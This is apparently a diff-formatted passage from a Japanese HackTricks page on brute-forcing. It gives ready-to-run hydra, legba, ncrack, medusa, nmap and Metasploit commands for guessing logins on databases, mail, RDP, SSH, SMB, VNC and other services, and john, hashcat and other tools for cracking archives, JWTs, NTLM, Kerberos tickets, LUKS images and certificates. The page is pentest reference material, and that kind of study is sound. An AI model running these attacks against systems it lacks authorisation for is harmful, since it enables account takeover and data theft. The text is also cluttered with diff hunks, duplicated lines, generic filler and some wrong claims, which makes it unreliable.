jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
```
### LDAP
LDAPLightweight Directory Access Protocolは、ディレクトリサービスにアクセスするためのプロトコルです。LDAPサーバーに対してBrute Force攻撃を行うことで、有効なユーザー名やパスワードを特定することができます。
```bash
nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
```
### MQTT
MQTTMessage Queuing Telemetry Transportは、軽量なメッセージ通信プロトコルであり、IoTデバイス間の通信に広く使用されています。 MQTTブローカーに対するBrute Force攻撃は、一般的なユーザー名とパスワードの組み合わせを継続的に試行することで、不正アクセスを試みる攻撃手法です。これに対抗するためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。
```
ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
```
### Mongo
MongoDBは、デフォルトでブルートフォース攻撃に対して脆弱です。MongoDBは、デフォルトでネットワーク上のすべてのインターフェースからの接続を受け入れるように設定されているため、攻撃者がアクセスを試みることができます。これに対処するためには、適切なアクセス制御と認証を実装することが重要です。
```bash
nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
```
### MSSQL
MSSQLMicrosoft SQL Serverは、Windows環境で広く使用されているリレーショナルデータベース管理システムRDBMSです。MSSQLへのBrute Force攻撃は、一般的なユーザー名とパスワードの組み合わせを使用して、MSSQLサーバーに不正アクセスを試みる方法です。Brute Force攻撃は、自動化ツールを使用して大量の認証試行を行うことで、サーバーへのアクセスを獲得しようとします。MSSQLのBrute Force攻撃を防ぐためには、強力なパスワードポリシーの実装やアカウントロックアウトの設定などのセキュリティ対策が重要です。
```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
```
### MySQL
MySQLは、多くのWebアプリケーションで使用される人気のあるデータベース管理システムです。MySQLデータベースへの不正アクセスを試みる際には、Brute Force攻撃が有効な手法となります。Brute Force攻撃は、辞書攻撃やランダムなパスワードの組み合わせを使用して、MySQLデータベースにログインするための正しいパスワードを見つけることを試みるものです。Brute Force攻撃は、パスワードが複雑でない場合やセキュリティ対策が不十分な場合に特に有効です。
```bash
# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql
@ -290,9 +339,11 @@ medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on fir
#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
```
### OracleSQL
Brute-force attacks against Oracle databases can be performed using tools like Hydra or custom scripts. These attacks involve trying multiple username and password combinations until the correct one is found. It is important to note that brute-force attacks can be time-consuming and may trigger account lockouts or alarms on the target system.
```bash
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
@ -316,19 +367,25 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
```
**oracle_login**を**patator**と一緒に使用するには、以下を**インストール**する必要があります:
**oracle\_login**を**patator**と一緒に使用するには、以下を**インストール**する必要があります:
```bash
pip3 install cx_Oracle --upgrade
```
[オフラインOracleSQLハッシュブルートフォース](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force)**バージョン11.1.0.6、11.1.0.7、11.2.0.1、11.2.0.2**、および**11.2.0.3**:
[オフラインOracleSQLハッシュブルートフォース](https://github.com/carlospolop/hacktricks/blob/jp/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force)**バージョン11.1.0.6、11.1.0.7、11.2.0.1、11.2.0.2**、および**11.2.0.3**:
```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```
### POP
### POP
POPPost Office Protocolは、電子メールを受信するために使用されるプロトコルです。通常、POPサーバーに接続してメールボックス内のメッセージをダウンロードする際に使用されます。
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
@ -339,6 +396,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
```
### PostgreSQL
PostgreSQLは、データベースへのアクセスを破るためのBrute Force攻撃に対して非常に耐性があります。しかし、以下の方法でBrute Force攻撃を防ぐことができます。
@ -347,6 +405,7 @@ PostgreSQLは、データベースへのアクセスを破るためのBrute Forc
2. **アカウントロックアウトの有効化** - 一定回数の誤った認証試行後にアカウントをロックするように設定します。
3. **IP制限** - 特定のIPアドレスからのアクセスのみを許可するように設定します。
4. **二要素認証** - ユーザーが追加の認証手段を必要とするように設定します。
```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M postgres
@ -356,105 +415,133 @@ use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
```
### PPTP
[https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)からインストール用の`.deb`パッケージをダウンロードできます。
```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter u <Username> <IP>
```
### RDP
```bash
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
```
### Redis
Redisは、デフォルトでパスワードを持たないことがよくあります。そのため、Brute Force攻撃は、一般的なユーザー名とパスワードの組み合わせを使用して、Redisサーバーにアクセスを試みる方法として有効です。Brute Force攻撃は、自動化されたスクリプトを使用して、大量のユーザー名とパスワードの組み合わせを試すことで実行されます。これにより、攻撃者は正しい認証情報を見つける可能性が高まります。Brute Force攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
```
### Rexec
### Rexec
Rexecは、リモートシステムに対してBrute Force攻撃を行うためのツールです。このツールは、ユーザー名とパスワードの組み合わせを総当たりで試行し、システムにアクセスするための正しい認証情報を見つけることを目的としています。Rexecを使用する際には、アカウントロックアウトやログの監視などのセキュリティ対策が重要です。
```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
```
### Rlogin
Rloginは、ユーザー名とパスワードの組み合わせを総当たりで試すために使用されることがあります。Brute force攻撃を行う際には、ユーザー名とパスワードのリストを使用して、Rloginサービスに対して自動的にログイン試行を行います。
```bash
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
```
### Rsh
Rshリモートシェルは、ユーザーがリモートホスト上でコマンドを実行できるようにするためのプロトコルです。Brute force攻撃に対して脆弱であるため、Rshはセキュリティ上のリスクを伴います。
```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V
```
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
### Rsync
```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
```
### RTSP
RTSPReal Time Streaming Protocolは、リアルタイムのデータ配信を行うためのネットワーク制御プロトコルです。
```bash
hydra -l root -P passwords.txt <IP> rtsp
```
### SFTP
SFTPSSH File Transfer Protocolは、SSHプロトコルを使用してファイルを安全に転送するためのプロトコルです。
```bash
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```
### SNMP
SNMPSimple Network Management Protocolは、ネットワークデバイスの監視や管理に使用されるプロトコルです。 SNMPのバージョン1と2は、コミュニティストリングを使用して認証を行います。これは、辞書攻撃やブルートフォース攻撃に対して脆弱です。
```bash
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```
### SMB
SMBServer Message Blockは、Windowsベースのシステムで使用されるネットワークプロトコルです。SMBをブルートフォース攻撃することで、パスワードを推測してシステムにアクセスすることが可能です。BruteForcerやHydraなどのツールを使用して、SMBサーバーに対してユーザー名とパスワードの組み合わせを総当たりで試行することが一般的です。
```bash
nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
```
### SMTP
SMTPSimple Mail Transfer Protocolは、電子メールを送信するための標準プロトコルです。通常、25番ポートを使用します。Brute force攻撃は、SMTPサーバーに対して一連のパスワードを試すことでアカウントにアクセスしようとする攻撃手法の1つです。
```bash
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
```
### SOCKS
SOCKSは、ネットワークプロトコルであり、通常、TCP接続を介してネットワークを中継するために使用されます。SOCKSプロトコルは、プロキシサーバーを介して通信を中継するために使用され、ユーザーのIPアドレスを隠すために使用されることがあります。Brute-force攻撃において、SOCKSプロキシを使用して攻撃を匿名化することができます。
```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
```
### SQL Server
SQL Serverは、Microsoftが開発したリレーショナルデータベース管理システムです。SQL ServerへのBrute Force攻撃は、一般的にユーザー名とパスワードの組み合わせを総当たりで試行することによって行われます。攻撃者は、自動化ツールを使用して大量の認証試行を行い、正しい認証情報を見つけようとします。SQL ServerへのBrute Force攻撃は、適切なセキュリティ対策が講じられていない場合に特に危険です。
```bash
#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -463,9 +550,11 @@ medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M mssq
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
```
### SSH
SSHSecure Shellは、ネットワーク経由で安全に通信するためのプロトコルです。SSHブルートフォース攻撃は、辞書攻撃や総当たり攻撃を使用してSSHサーバーに不正アクセスを試みる手法です。SSHブルートフォース攻撃は、弱いパスワードを持つユーザーアカウントを狙うことが一般的です。SSHサーバーのセキュリティを向上させるためには、強力なパスワードポリシーを実装し、公開鍵認証を使用することが重要です。
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
@ -475,6 +564,7 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```
#### 弱いSSHキー / Debian予測可能なPRNG
一部のシステムには、暗号資料を生成する際に使用されるランダムシードに既知の欠陥があります。これにより、劇的に減少したキースペースが生じ、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)などのツールでブルートフォース攻撃される可能性があります。[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)などの事前生成された弱いキーのセットも利用可能です。
@ -482,12 +572,15 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
### STOMP (ActiveMQ、RabbitMQ、HornetQ、およびOpenMQ)
STOMPテキストプロトコルは、RabbitMQ、ActiveMQ、HornetQ、およびOpenMQなどの人気のあるメッセージキューイングサービスとのシームレスなコミュニケーションとやり取りを可能にする広く使用されているメッセージングプロトコルです。これは、メッセージの交換やさまざまなメッセージング操作を効率的かつ標準化された方法で実行するための手段を提供します。
```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
```
### Telnet
Telnetは、ネットワーク上の別のコンピューターにリモートでアクセスするためのプロトコルです。一般的なBrute Force攻撃は、Telnetサーバーに対してユーザー名とパスワードの組み合わせを継続的に試行することで行われます。
```bash
hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
@ -502,11 +595,13 @@ legba telnet \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
```
### VNC
#### Brute Force
Brute force attacks against VNC servers are common due to the protocol's lack of built-in security features. Tools like Hydra and Medusa can be used to automate the process of trying different username and password combinations until the correct one is found. It is important to use strong, complex passwords and consider implementing additional security measures such as IP whitelisting or VPNs to protect VNC servers from brute force attacks.
```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc
@ -521,10 +616,13 @@ use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```
### Winrm
```bash
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
@ -552,6 +650,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
ハッシュをブルートフォースする前にこれをチェックしてください。
### ZIP
```bash
#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
@ -567,10 +666,12 @@ john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
#### 既知の平文zip攻撃
暗号化されたzipファイルの中に含まれるファイルの**平文(または平文の一部)を知る必要があります。** 暗号化されたzipファイルに含まれるファイルの**ファイル名とサイズを確認するには、**`7z l encrypted.zip`**を実行します。\
暗号化されたzipファイルの中に含まれるファイルの**平文(または平文の一部)を知る必要があります。** 暗号化されたzipファイルに含まれるファイルの**ファイル名とサイズを確認するには、**`7z l encrypted.zip`\*\*を実行します。\
[**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)をリリースページからダウンロードしてください。
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
@ -582,9 +683,11 @@ zip plaintext.zip plaintext.file
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password
```
### 7z
7zは、ファイルアーカイブと圧縮ユーティリティで、ブルートフォース攻撃の対象となることがあります。ブルートフォース攻撃では、すべての可能なパスワードの組み合わせが試されます。
```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```
@ -595,9 +698,11 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```
### PDF
PDFファイルは、一般的にパスワード保護されており、Brute Force攻撃を使用してアクセスできる可能性があります。Brute Force攻撃は、すべての可能なパスワードの組み合わせを試行し、正しいパスワードを見つける手法です。これにより、PDFファイルのパスワードを解読することができます。
```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
@ -606,11 +711,13 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
```
### PDFオーナーパスワード
PDFオーナーパスワードを解読するには、[こちら](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)を参照してください。
### JWT
```bash
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
@ -622,15 +729,19 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
```
### NTLM cracking
NTLMクラッキング
```bash
Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
```
### Keepass
```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
@ -638,26 +749,32 @@ keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a f
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
### Keberoasting
Keberoastingは、Active Directoryのユーザーアカウントに対する攻撃手法であり、攻撃者はKerberosサービスチケットを取得し、それをオフラインで解読することで、有効なユーザーアカウントのパスワードを取得します。 Keberoastingは、攻撃者がActive Directory環境内で特権昇格を行うための手段として使用されることがあります。
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### Lucks image
#### 方法1
インストール: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
```bash
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
#### 方法2
```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
@ -666,19 +783,24 @@ cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
別のLuks BFチュートリアル[http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
### Mysql
```bash
#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
```
### PGP/GPGの秘密鍵
```bash
gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
```
### Cisco
<figure><img src="../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure>
@ -693,6 +815,7 @@ xlsxファイルにパスワードで保護された列がある場合、それ
* **Googleドライブにアップロード**してパスワードが自動的に削除されます
* **手動で**それを**削除**するには:
```bash
unzip file.xlsx
grep -R "sheetProtection" ./*
@ -701,17 +824,20 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV
# Remove that line and rezip the file
zip -r file.xls .
```
### PFX 証明書
```bash
# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -721,10 +847,12 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
**ハッシュの例:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
### ハッシュ識別子
```bash
hash-identifier
> <HASH>
```
### ワードリスト
* **Rockyou**
@ -735,16 +863,20 @@ hash-identifier
### **ワードリスト生成ツール**
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 設定可能なベース文字、キーマップ、およびルートを持つ高度なキーボードウォークジェネレータ。
```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```
### Johnの変異
_**/etc/john/john.conf**_を読み、それを設定します
\_**/etc/john/john.conf**\_を読み、それを設定します
```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```
### Hashcat
#### Hashcat攻撃
@ -752,13 +884,16 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
* **ワードリスト攻撃** (`-a 0`) with rules
**Hashcat** にはすでに**ルールを含むフォルダ**が付属していますが、[**こちらで他の興味深いルールを見つけることができます**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。
```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
* **ワードリスト組み合わせ**攻撃
hashcatを使用して、2つのワードリストを1つに**組み合わせる**ことが可能です。\
リスト1に単語**"hello"**が含まれ、2つ目には単語**"world"**と**"earth"**がそれぞれ2行含まれている場合、`helloworld`と`helloearth`が生成されます。
リスト1に単語\*\*"hello"**が含まれ、2つ目には単語**"world"**と**"earth"\*\*がそれぞれ2行含まれている場合、`helloworld`と`helloearth`が生成されます。
```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
@ -769,7 +904,9 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
```
* **マスク攻撃** (`-a 3`)
```bash
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
@ -801,7 +938,9 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```
* ワードリスト + マスク (`-a 6`) / マスク + ワードリスト (`-a 7`) 攻撃
```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
@ -809,10 +948,13 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```
#### Hashcatモード
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
## Brute Forcing
Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. When it comes to cracking Linux hashes from the `/etc/shadow` file, brute forcing can be a powerful method if the passwords are not strong enough.
@ -824,22 +966,20 @@ There are various tools available for brute forcing passwords, such as John the
### Methodology
1. **Capture Hashes**: Obtain the hashed passwords from the `/etc/shadow` file on the target Linux system.
2. **Select Tool**: Choose a suitable password cracking tool based on the type of hashes and the complexity of passwords.
3. **Configure Tool**: Set up the chosen tool to start the brute force attack. This may involve specifying the hash type, character set, and other parameters.
4. **Start Brute Forcing**: Initiate the brute force attack using the selected tool and wait for it to find the correct password.
5. **Password Cracked**: Once the tool successfully cracks the password, the plaintext password will be revealed.
By following this methodology and using the right tools, you can effectively crack Linux hashes from the `/etc/shadow` file through brute forcing.
```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
## Brute-Force
Brute-force attacks are a common way to crack passwords. They consist of trying all possible combinations of characters until the correct password is found. Brute-force attacks can be time-consuming but are often effective.
@ -848,9 +988,9 @@ Brute-force attacks are a common way to crack passwords. They consist of trying
There are several tools available for performing brute-force attacks, such as:
- **John the Ripper**: A popular password-cracking tool that can perform brute-force attacks.
- **Hashcat**: Another powerful tool for cracking passwords using brute-force techniques.
- **Hydra**: A versatile password-cracking tool that supports multiple protocols for brute-forcing.
* **John the Ripper**: A popular password-cracking tool that can perform brute-force attacks.
* **Hashcat**: Another powerful tool for cracking passwords using brute-force techniques.
* **Hydra**: A versatile password-cracking tool that supports multiple protocols for brute-forcing.
### Methodologies
@ -864,29 +1004,32 @@ When performing a brute-force attack, it is essential to consider the following
There are various online resources available for password cracking and brute-force attacks, including:
- **CrackStation**: An online password-cracking tool that supports various hash types.
- **Hashes.org**: A database of pre-computed password hashes that can be used for password cracking.
- **SecLists**: A collection of wordlists and password dictionaries for use in brute-force attacks.
* **CrackStation**: An online password-cracking tool that supports various hash types.
* **Hashes.org**: A database of pre-computed password hashes that can be used for password cracking.
* **SecLists**: A collection of wordlists and password dictionaries for use in brute-force attacks.
```
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
## Brute-Force
Brute-force attacks are a common method used to crack hashes. This technique involves trying all possible combinations of characters until the correct one is found. Brute-forcing can be time-consuming and resource-intensive, but it is effective against weak passwords. There are tools available that can automate the brute-forcing process, such as John the Ripper and Hashcat.
### Brute-Forcing Tools
- **John the Ripper**: A popular password-cracking tool that can perform brute-force attacks on various types of hashes.
- **Hashcat**: Another powerful tool for cracking hashes using brute-force and other techniques.
* **John the Ripper**: A popular password-cracking tool that can perform brute-force attacks on various types of hashes.
* **Hashcat**: Another powerful tool for cracking hashes using brute-force and other techniques.
### Brute-Forcing Strategies
- **Dictionary Attack**: Involves using a list of commonly used passwords to try and crack the hash.
- **Mask Attack**: Allows you to specify the format of the password, reducing the number of possible combinations to try.
- **Hybrid Attack**: Combines dictionary words with numbers and symbols to increase the chances of cracking the hash.
* **Dictionary Attack**: Involves using a list of commonly used passwords to try and crack the hash.
* **Mask Attack**: Allows you to specify the format of the password, reducing the number of possible combinations to try.
* **Hybrid Attack**: Combines dictionary words with numbers and symbols to increase the chances of cracking the hash.
By using these brute-forcing strategies and tools, attackers can increase their chances of successfully cracking common application hashes.
```
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
@ -896,6 +1039,7 @@ By using these brute-forcing strategies and tools, attackers can increase their
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
```
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
@ -905,7 +1049,7 @@ HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
